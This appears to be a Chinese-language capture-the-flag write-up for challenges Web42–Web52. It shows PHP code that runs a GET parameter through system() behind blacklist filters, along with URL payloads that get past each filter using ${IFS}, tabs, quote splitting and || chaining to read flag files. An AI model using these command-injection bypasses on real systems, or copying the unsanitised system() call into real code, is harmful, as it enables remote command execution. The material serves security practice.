Web42
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
Payload
?c=ls;
查看flag位置
?c=cat f*;
查看源码得到flag
Web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了 分号,cat命令
/?c=ls||
得到flag位置
由于过滤了cat命令,所以使用 tail来查看flag内容
?c=tail -n 5 f*||
也可以使用 c"a"t f*||
来获取flag,查看源码得到
得到flag
Web44
和web43 可以用同一个payload
也可以使用
?c=c\a\t f*||
.
Web45
增加过滤了 空格
使用${IFS} 来绕过空格
tail${IFS}-n${IFS}5${IFS}f*||
Web46
(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c))
增加过滤了 $ 不能使用 Web45的方法来过滤空格
?c=awk%09'/f/'%09fla?.php||
?c=c"a"t%09fla??php||
得到flag
?c={awk,’/f/’,fla???hp}||
47、48、49 相同
Web50
?c=c'a't<>'fla'g.php||
Web51
?c=c'a't<>'fla'g.php||
Web52
?c=ls${IFS}-al${IFS}/||
得到flag位置
?c=c'a't${IFS}/fl'ag'||
得到flag